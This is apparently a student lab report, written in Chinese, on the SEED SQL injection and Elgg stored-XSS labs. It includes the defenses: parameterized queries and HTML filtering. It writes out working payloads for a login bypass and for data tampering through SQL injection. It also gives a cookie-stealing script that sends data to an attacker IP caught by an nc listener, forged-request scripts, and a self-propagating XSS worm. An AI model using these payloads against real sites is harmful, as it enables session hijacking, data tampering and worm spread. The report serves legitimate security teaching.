20252901 2025-2026-2 《网络攻防实践》实践十报告
20252901 程宇 2025-2026-2 《网络攻防实践》实践十报告
一、实践内容概述
实验目标
- 掌握 SQL 注入攻击的基本原理,熟练实现针对 SELECT 和 UPDATE 语句的注入攻击,理解参数化查询的防御机制。
- 掌握存储型 XSS 跨站脚本攻击的原理与利用方式,实现弹窗警告、Cookie 窃取、自动操作、信息篡改及蠕虫传播。
- 理解 Web 应用常见漏洞的危害,掌握对应的防御技术,建立攻防结合的安全思维。
实验原理
SQL 注入攻击原理
Web 应用程序未对用户输入进行严格验证和过滤,直接将输入内容拼接到 SQL 语句中执行,导致攻击者可以构造恶意输入改变 SQL 语句的逻辑,实现绕过身份验证、非法查询 / 篡改数据等操作。
- SELECT 语句注入:常用于登录绕过、数据拖库,通过构造永真条件或注释符截断后续语句。
- UPDATE 语句注入:常用于篡改数据库数据,通过闭合字符串并添加额外的 SET 子句实现。
- 防御原理:使用参数化查询(Prepared Statement),将用户输入作为参数而非 SQL 语句的一部分,从根本上分离数据与命令。
XSS 跨站脚本攻击原理
攻击者将恶意 JavaScript 代码注入到 Web 页面中,当其他用户浏览该页面时,恶意代码会在用户浏览器中执行,从而窃取用户信息、冒充用户操作、篡改页面内容或传播蠕虫。本次实验针对存储型 XSS(恶意代码存储在服务器数据库中)进行演示。
- 核心危害:Cookie 窃取、会话劫持、权限提升、蠕虫传播。
- 防御原理:对用户输入进行严格过滤和转义、启用 HTMLawed 安全过滤插件、设置 Cookie 的 HttpOnly 属性、部署内容安全策略(CSP)。
二、实践步骤与过程
前置准备
1. 虚拟机部署
下载 SEEDUbuntu 16.04 32 位镜像(链接: https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip )
创建新的虚拟机流程:
点击"创建新的虚拟机" --> "自定义" --> Workstation17.x --> "稍后安装操作系统" --> "Linux" --> "Ubuntu" --> "网络地址转换" --> "LSI Logic" --> "SCSI" --> 现有虚拟磁盘中的"SEEDUbuntu-16.04-32bit.vmdk" --> 将现有磁盘转换为更新格式?保持现有格式。

2. VMware Tools 安装(重要!如果不安装,后续实现会出现缩放问题和无法通过虚拟机编辑 -> 粘贴的方式粘贴大段代码)
虚拟机勾选安装 VMware Tools 之后,在 Ubuntu 的文件管理菜单找到压缩包并复制到 home 目录下,打开终端进入 home 目录下,输入命令:
tar -zxvf 压缩文件名
解压后输入命令:
cd vmware-tools-distrib
执行安装:
sudo ./vmware-install.pl
输入密码安装,遇到【Y/N】输入 y,遇到别的按回车。安装成功后会显示"Found VMware Tools CDROM mounted at…"的字样,屏幕会变全屏。
3. 主机名配置(新增)
将虚拟机主机名永久设置为 cy,确保终端和系统标识统一:
# 切换到root用户(密码:seedubuntu)
su -
# 临时生效主机名
hostname cy
# 验证主机名(终端提示符应显示为 seed@cy:~$)
hostname

# 永久修改主机名配置文件
echo "cy" > /etc/hostname
# 修改hosts文件添加本地映射,解决sudo无法解析主机问题
sed -i 's/127.0.0.1 localhost/127.0.0.1 localhost cy/' /etc/hosts
# 退出root并重新打开终端验证
exit
4. 基础服务启动
# 启动Apache2 Web服务器
sudo service apache2 start
# 查看服务状态,确认显示 active (running)
sudo service apache2 status

5. 数据库连接
使用 root 用户登录 MySQL 数据库(默认密码 seedubuntu):
mysql -u root -pseedubuntu

6. 靶场文件预处理
将所有需要编辑的后端文件添加 2901_ 前缀,保留原文件作为备份。注意:由于提高实验成功率,本次只在第一个实验进行此操作,之后的实验会将文件复原。建议读者忽略这个步骤。
# 进入SQL注入靶场目录
cd /var/www/SQLInjection/
# 备份原始文件
cp unsafe_home.php unsafe_home.php.bak
cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
# 重命名后端文件
mv unsafe_home.php 2901_unsafe_home.php
mv unsafe_edit_backend.php 2901_unsafe_edit_backend.php
# 修改前端表单指向新的后端文件
sed -i 's/action="unsafe_home.php"/action="2901_unsafe_home.php"/g' index.html
sed -i 's/action="unsafe_edit_backend.php"/action="2901_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php

7. 靶场地址
- SQL 注入靶场:http://www.SEEDLabSQLInjection.com
- XSS 靶场:http://www.xsslabelgg.com
8. Elgg 默认账号
| 用户名 | 密码 | 权限 |
|---|---|---|
| Alice | seedalice | 普通用户 |
| Boby | seedboby | 普通用户 |
| Samy | seedsamy | 普通用户 |
| Admin | seedelgg | 管理员 |
任务一:SEED SQL 注入攻击与防御实验
步骤1:熟悉 SQL 语句
使用以下命令使用 root 登录 MySQL 数据库:
mysql -u root -pseedubuntu

使用以下命令查看 MySQL 中已有的数据库:
show databases;
使用以下命令切换到 Users 数据库,并查看所有的数据表:
use Users;
show tables;

结果:存在 Tables_in_Users 和 credential 表。
执行基础查询语句:
-- 查询所有记录
select * from credential;

credential 表存储了员工的 ID、姓名、EID、薪资、生日、SSN、密码等信息。
-- 查询Alice的个人信息
select * from credential where Name='Alice';

-- 查询ID小于等于3的员工信息
select * from credential where ID <=3;

步骤2:对 SELECT 语句的 SQL 注入攻击(登录绕过)
访问 Web 页面 http://www.seedlabsqlinjection.com/ ,右键 -> view page source 查看前端源码。


表单通过 GET 方法提交到 2901_unsafe_home.php 进行验证。

查看并分析后端验证代码(/var/www/SQLInjection/2901_unsafe_home.php):
vim /var/www/SQLInjection/2901_unsafe_home.php


核心验证逻辑,SQL 语句如下:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
构造注入 Payload:在用户名输入框输入 Admin'#,密码留空。

原理:单引号 ' 闭合 name 字段的字符串,# 注释掉后续的密码验证部分,使 SQL 语句变为:
SELECT * FROM credential WHERE name= 'Admin'#' and Password=''
点击登录,成功进入管理员页面,查看所有员工的薪资、SSN 等敏感信息,登录绕过成功。

步骤3:对 UPDATE 语句的 SQL 注入攻击(数据篡改)
以 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,发现仅能修改昵称、邮箱、地址等非敏感信息。

(问题:找不到 edit profile 选项!!!解决办法:浏览器右侧按钮点击,调整显示比例。我的电脑在显示比例为100%的时候无法显示 home 和 edit profile 选项)

查看并分析后端更新代码(/var/www/SQLInjection/unsafe_edit_backend.php):
vim /var/www/SQLInjection/unsafe_edit_backend.php

核心更新逻辑,SQL 语句如下:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
构造注入 Payload:在 NickName 输入框输入:
',Salary='999999' where name='Admin';#
原理:闭合 nickname 字段的字符串,添加 Salary='999999' where name='Admin' 子句修改管理员薪资,最后用 # 注释后续内容。
点击保存,返回首页查看,发现管理员 Admin 的薪资已被修改为 999999,数据篡改成功。


步骤4:SQL 对抗(漏洞修复)
修复 SELECT 语句注入:编辑 unsafe_home.php,使用 prepare 和 bind_param 实现参数化查询:
vim /var/www/SQLInjection/unsafe_home.php

将原 SQL 语句替换为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

修复 UPDATE 语句注入:编辑 unsafe_edit_backend.php,同理使用参数化查询:
vim /var/www/SQLInjection/unsafe_edit_backend.php
将原 SQL 语句替换为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

验证修复效果:再次使用 Admin'# 尝试登录,系统提示登录失败;尝试修改管理员薪资,操作无效,漏洞修复成功。

任务二:SEED XSS 跨站脚本攻击实验
步骤1:发布恶意消息,显示警报窗口
使用 Alice 账号(密码 seedalice)登录 Elgg 平台( http://www.xsslabelgg.com ),点击蓝色字体 Alice -> "Edit profile" 进入个人资料编辑页面。


在 "Brief description" 输入框中输入恶意代码:
<script>alert('XSS cy');</script>
点击保存,页面自动刷新并弹出警告窗口 "XSS cy",验证存储型 XSS 漏洞存在。

步骤2:弹窗显示 Cookie 信息
修改 "Brief description" 中的代码为:
<script>alert('cy Cookie:' + document.cookie);</script>
保存后,页面弹出包含当前用户 Cookie 的警告窗口,证明可以通过 XSS 获取用户会话信息。

步骤3:窃取受害者的 Cookies
查看攻击者主机的 IP 地址:
ifconfig

假设攻击者 IP 为 192.168.200.11。
构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 500 端口:
<script>document.write('<img src=http://192.168.200.11:500?host=cy&c='+escape(document.cookie) + ' >');</script>

在攻击者终端开启端口监听:
sudo nc -l 500 -v

使用 Boby(密码 seedboby)账号登录 Elgg,访问 Alice 的个人主页。
查看攻击者终端,成功接收到 Boby 的 Cookie 信息。

步骤4:成为受害者的朋友(自动操作)
手动添加 Boby 为好友,同时按 F12 打开浏览器开发者工具,切换到 "Network" 标签,分析加好友请求:
- 请求地址:http://www.xsslabelgg.com/action/friends/add
- 请求方法:GET
- 必要参数:friend(好友 ID)、__elgg_ts(时间戳)、__elgg_token(CSRF 令牌)


构造自动加好友的 JavaScript 代码,放入 Alice 的 "About me" 字段(需切换到 "Edit HTML" 模式):
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 44为Samy的用户ID
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=cy" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();}</script>

使用 Samy 账号(密码 seedsamy)登录 Elgg,访问 Alice 的个人主页。

查看 Samy 的好友列表,发现已自动添加 Alice 为好友,自动操作成功。


步骤5:修改受害者的信息
分析 Elgg 修改个人资料的 POST 请求,构造自动修改信息的代码:
<script type="text/javascript">window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>已被主机cy的XSS攻击篡改!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
// 排除攻击者自己
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>
将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页。


查看 Boby 的个人资料,发现 "About me" 已被修改为"已被主机 cy 的 XSS 攻击篡改!",信息篡改成功。

步骤6:编写 XSS 蠕虫(自动传播)
构造具有自我复制能力的 XSS 蠕虫代码,将自身注入到受害者的个人资料中:
<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机cy的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页,Boby 被感染。

使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

步骤7:对抗 XSS 攻击
使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。
验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效。

补充防御措施:
- 设置 Cookie 的 HttpOnly 属性,防止 JavaScript 读取 Cookie。
- 部署内容安全策略(CSP),限制页面可执行脚本的来源。
三、学习中遇到的问题及解决方法
| 问题描述 | 解决方法 |
|---|---|
| 执行 sudo 命令时提示 "unable to resolve host cy" | 已在主机名配置步骤中修改 /etc/hosts 文件,添加 127.0.0.1 localhost cy 映射,问题解决 |
| SQL 语句执行报错 "ERROR 1064 (42000)" | 检查 SQL 语句末尾是否添加分号,修正语法错误 |
| Ubuntu 虚拟机无法与主机复制粘贴;页面显示不全导致按钮无法使用 | 下载与 VMware 版本匹配的 VMware Tools 10.3.26,手动挂载安装 |
四、实践总结
本次实验通过实际操作深入理解了 SQL 注入和 XSS 这两种最常见的 Web 应用漏洞的原理与危害。从攻击角度看,一个小小的输入验证漏洞就可能导致整个数据库泄露、用户会话被劫持甚至系统被完全控制;从防御角度看,参数化查询和输入过滤是抵御这两种攻击的最有效手段。
实验过程中,我深刻体会到网络安全的攻防对抗特性:攻击者不断寻找新的利用方式,防御者则需要不断完善防护措施。作为未来的网络安全从业者,我们不仅要掌握攻击技术,更要学会从攻击者的角度思考问题,提前发现并修复系统中的漏洞。同时,必须时刻牢记网络安全法律法规和职业道德,所有技术学习都应在合法授权的环境中进行,绝不能将所学知识用于非法用途。
浙公网安备 33010602011771号